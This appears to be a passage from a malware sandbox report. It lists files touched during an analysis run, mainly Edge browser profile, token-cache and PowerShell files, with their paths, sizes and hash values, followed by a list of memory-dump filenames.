T1F152E8116A389977CCDFD209FA45BF53D6F9057292901E88A9FC9A1C04E6BED2207C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 0c273054f2b6d42220b8c8c0619bf495debc7411605d9cb0960228e9ae537cf2
MD5 4465c2e7b481d34ce8a5e652e8af6ebc
SHA1 e538dae6bb51d64ece63728cee2960715d6258db
SHA512 6890d0fbf77bdfc4f4178b3e29210a82c4fdc007a08457d1bb0b1c77cba52b8d433d0feb9f15eb3fdc5130076c967940978886c2554d6c059dd1afb86ce52eb1
SSDEEP 768:2n4TaXWWvyaZy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVvhLlJX65lro90yiTC1L:2n4TaXWWvyaZyu1jaihLHq5eP1L
TLSH
T115D21B3B684CC77E4F840E6DEC2A6F976ED801CB6A984D4447FA484C02C77EE512A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 9ec209bd24870f4b85558c977b7924aa0594d568f8329ad53878ee8a22fda693
MD5 a1c866932bdde834613870fad39574e5
SHA1 191dfedad6f081035dfe284550110a002e4cb314
SHA512 499612a34549ebe0c0c857ab655dcc95ec5aabdb0bd5d305c42427a47f681fe1a03e7a080ee2b17a782d5d098f9b0d6c0869325c820b29222655b6008ebc4c5a
SSDEEP 96:KsOeOROAOkOeOQOwOx7OEOrOsJOsOxKhO4JO+OxtOGOOOzOsOwOSTtuKOkimr2KO:mJIrXJ7bc36rvF4Qpih5yvbS6lZd
TLSH
T11DA1021336BA134138BE694C97A6C6774E8133773014EA6E7BE800A15D6BE512DFC9CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

08084040-bd6d-4459-bf45-2dc246bd76f5.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\08084040-bd6d-4459-bf45-2dc246bd76f5.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 c8dac45b909c9bd30b7b63e9714a4132dccf3cf2014487d5fe35e1fcdce26089
MD5 38044bfb83155fea283766832c6ea8ce
SHA1 b76a5563e75ca5ef6a8d5bf54d543fec32c51a13
SHA512 324e5b0dca11e35bc627417e4bfd06b6f6c35c9640372eb1c6fe6aeec49cf1afba4e81136917f76de306362ae585f931cb9725cab873c84ab490d802cd05ea71
SSDEEP 384:fZcIhsNfkKvXiJyO+6UiX1xcp2i6HlytEDq19:3hMLL2nfioy6DqD
TLSH
T120929E3164BCAC369DBBA405F44A3A135EF88027E7D56FE4D5FD6B2C01DA1A8130B926
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 fc1b3936f2c0a0dca8d30b34f09a30d7d51a77b8c1ebf0edb6ea6144ea647802
MD5 c7a29c01533c5a44f652b77b8ed41d5d
SHA1 46e42d7c7909ddbbae0a7ed4b0e11ae846d6a484
SHA512 074a04b5e9f317b474117a812d24a2546a19acc694cdad958adb67f54a2062e66a04512c17a9ccc8aeffcea5f0326ae39de26630ba48ff7976c0f7c9008ffed0
SSDEEP 384:hZcIJsNfAzvXiJyS+6UiX1xcpqi6HlytEDq19:pJ7Lv2njioy6DqD
TLSH
T1DE928D31647CAC369DABA445F44A3A175EF88027E7D86FE4D6FD6F2C01CA198130B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 490560f32560e0a448d345afec351a3cfb42223f10363c3fd7efc531502cad46
MD5 3e883fb5418ad7c91812425402796e3f
SHA1 86e7aee049bbbf0f387d7b41611c08b36a285ce8
SHA512 a18da2a3a6a9ae876935b35f9066ea0264efec3d2b9498f509734f83dbb5cad1c59699399789bb32cf597e2a895a82e546308e4b5ba7c8e5c6d91e5ed6b4865f
SSDEEP 384:nZcIzsNfAKvXiJyO+6UiX1xcp2i6HlytEDq19:PzgLL2nfioy6DqD
TLSH
T1FD928D3164BCAC369DABA405F44A3A175EF88027E7D46FE4D5FD6F2C01DA198130B836
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 5030780663f306d7dc30758de944b260d22438aef6da5ccc9a74f9ff2ce1b858
MD5 9015f4de1996f2dab561412868a060a1
SHA1 8c21190be5953ba6337f4ca0f572f757bef2de9f
SHA512 a15d7afe08829b0c047cd13ec736a699652731f1722baa7a016b0869ce188d808574c96b9668ca38207038924e731d8d4a2ab969d2f485537afce044c275fd39
SSDEEP 192:kONa6zZU97QmiUyouzmU9X1oRYcpVs/ZqRlU6:kONa6tMtmzmU9X1xcp4iU6
TLSH
T116122A35A4ACAC3B5D93A801F08737135EA4512BDB857FA4CAED2B1C02DF59C530B926
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 258a22ce043b186639f77df14710616ea58c09c10d4be7e76fee00431ce53e97
MD5 baa999c00a514f4726c3356cbad30d13
SHA1 6d6b2a1c8546eb6b4af01a8bc794e44ce0c7c197
SHA512 f5a38fdc1ba0d96db6f1bc543535f9af2eceea96a794a77da842d7829231ff8ee69dd4942df320e4172934f8b4716a5ad85e3e525abad4e6c7c93179ce67088d
SSDEEP 384:miFPZcIYPsNB8TUNTUlIlAzvXiJyC16UiX1xcpHi6HlytEDq19:NFHogwgWLM2nEioy6DqD
TLSH
T139D22AF154EB9836D96E9743B77D3D024EBCC017B6946A94B3D85A1CCD861BFC306821
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 6085c4aba915806e8ed7e0df43c986aa844fafc52d6b8fbaf3c6ee97fdbab6da
MD5 e35ce4cea1e451f587e2d05162055442
SHA1 49129fad83f4c5a7c73dfaad8e123b9d5ae3e631
SHA512 055341a1f2df2ebb9c1fb8ac05c350562446980e9556212f124892759c3253170a01e1836573855d33bad0d1491b3a68acb59d369eb0fe3d9f538bd487affdae
SSDEEP 192:mQJOND6zZU77QmiUy7uzmaU9X1oRYc9OwE7EU6:m2OND6t2t9zmaU9X1xc9q4U6
TLSH
T18A02F939A86D6C7B8EA3AD05B48B3B136FD4102BEAD56F94CAF81B1C41D764C1307936
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

97087d84-311c-435e-8bdd-a232a9a36395.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\97087d84-311c-435e-8bdd-a232a9a36395.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 7f63c94237c6b2d7a8f3c999eaf98a53f3c0b1283512ced52679bbc56b846955
MD5 73a0bec84377a18d7b4c8fd35758859a
SHA1 38bb830f39d370f38f23cb0632dc0277151c61e2
SHA512 3dac49dce362dbda1764c6b0b934e9337b382736fe6c14eb0fa58d3a9d7dbe74bf6b18e7cab393432491fc19122f3c210424f47e04d8602fa3fe8caf2555fa6d
TLSH
T1F6412658A6EA1158B3B76F5A6BF668AD487FBD372E06C48D10110E4F0A26B00C871B37
MD5 SHA1 SHA512 TLSH

Submit Download

8b0d4544beb97a69dbb9583fca5575a9aba6e37d.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\8b0d4544beb97a69dbb9583fca5575a9aba6e37d.tbres
Size 2KB
SHA256 6d5e2b6b9a11377eff55a30c2628dd59f091849e518d4f31fc9db28fc8b7137e
MD5 358258e17ff958adf1c39f41f466919a
SHA1 3f9eb662536492dd1011c8251e4064f85469f10f
SHA512 21f2a13076a68d04c463667f2005f591481ccf661bd684c3d43d5b1bb265ca09740eb8038aeb422baf1608e447526dc5c76c1cb0418ad3bb122066baad9bff90
TLSH
T1E0515C5C79EA115CB3B36F569BF6656E88BBB8733F06945D10110F0F4623A40C9A1B37
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 54KB
SHA256 1211195a62afac6698908b518763f00891f7cfec568b8fcbcb3d67a10ab97b44
MD5 5019a4d20530c5fef9b0a7b3048fdb63
SHA1 2165a55da70f6d34a2af26c37a1cbef5dcf4ad8b
SHA512 c207bed357d81b8352a2b9310de26ea9d7d685271c94cc887a7ad517630f332be429b1a0357159c226cdb7f626bf8b6fd1647c3ba174d777aab43000ba88faa3
SSDEEP 1536:vUsKNhfkR+jH0Mv15iFHzdyyhl3Oi9flJdiNuhETYo/UpBa5EVi3j39MVvjpHKLl:vUsKNhfkR+jH0Mv1gFHzdfhEi9flJdi5
TLSH
T12E433F93E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FBBE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b2da8e4be8d42837eed233dba4529d6b52ef1ccc9c45f00ad10f7f81b8f0a5e1
MD5 bae17aaa8b4cb0297cf5b91499f7b163
SHA1 128790f687826a6c639d85a552fa8af953df97df
SHA512 602960c6c7c3c66c6c800a807d0b4104f6f258323c467a673fa45c1383dda4fe47e3ad9a6cc821b0e665ea7544bf0cf5fa18ab37abc0e88fa89e913f80f0f6bf
TLSH
T1ED21C527BBDCC911CC89013B428C9D6036B2D7C7C09ACEDB6EC4C604A0BF999CB2D1A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 2KB
SHA256 8e3a32848cbbe83816420c4429858590d0be04c08cdbd53f410305e7919e3090
MD5 b07edff3588b851a8360773aac1f7038
SHA1 79fa07bba2664e34e82945ab7520d8d7e3bbabdc
SHA512 070a6a72ca5103ea768973ce10dbc03fc88e6667c35a1ace482a6917c6c5ee219f57bf8d66e08e3c64319aa1218903229eff7ec758e83554af9b76d96d958ae8
TLSH
T10B519932F39CD4D3D9490D3E008CFC1234A68A8348F9DED69B88D61DE07F6949A20C6E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0tsl1uzn.1q4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0tsl1uzn.1q4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/640-590-0x00007FFEFAB90000-0x00007FFEFABA0000-memory.dmp

Download

memory/640-466-0x00007FFEFAB90000-0x00007FFEFABA0000-memory.dmp

Download

memory/640-464-0x00007FFEFAB90000-0x00007FFEFABA0000-memory.dmp

Download

memory/640-463-0x00007FFEFAB90000-0x00007FFEFABA0000-memory.dmp

Download

memory/640-465-0x00007FFEFAB90000-0x00007FFEFABA0000-memory.dmp

Download

memory/640-467-0x00007FFEFAB90000-0x00007FFEFABA0000-memory.dmp

Download

memory/640-468-0x00007FFEF81D0000-0x00007FFEF81E0000-memory.dmp

Download

memory/640-469-0x00007FFEF81D0000-0x00007FFEF81E0000-memory.dmp

Download

memory/640-589-0x00007FFEFAB90000-0x00007FFEFABA0000-memory.dmp

Download

memory/640-591-0x00007FFEFAB90000-0x00007FFEFABA0000-memory.dmp

Download

memory/640-592-0x00007FFEFAB90000-0x00007FFEFABA0000-memory.dmp

Download

memory/4136-563-0x0000015CCBEB0000-0x0000015CCBECE000-memory.dmp

Download

memory/5220-549-0x000001C655530000-0x000001C6556F2000-memory.dmp

Download

memory/5668-506-0x00000231EA750000-0x00000231EA794000-memory.dmp

Download

memory/5668-507-0x00000231EA820000-0x00000231EA896000-memory.dmp

Download

memory/5668-503-0x00000231EA250000-0x00000231EA272000-memory.dmp

Download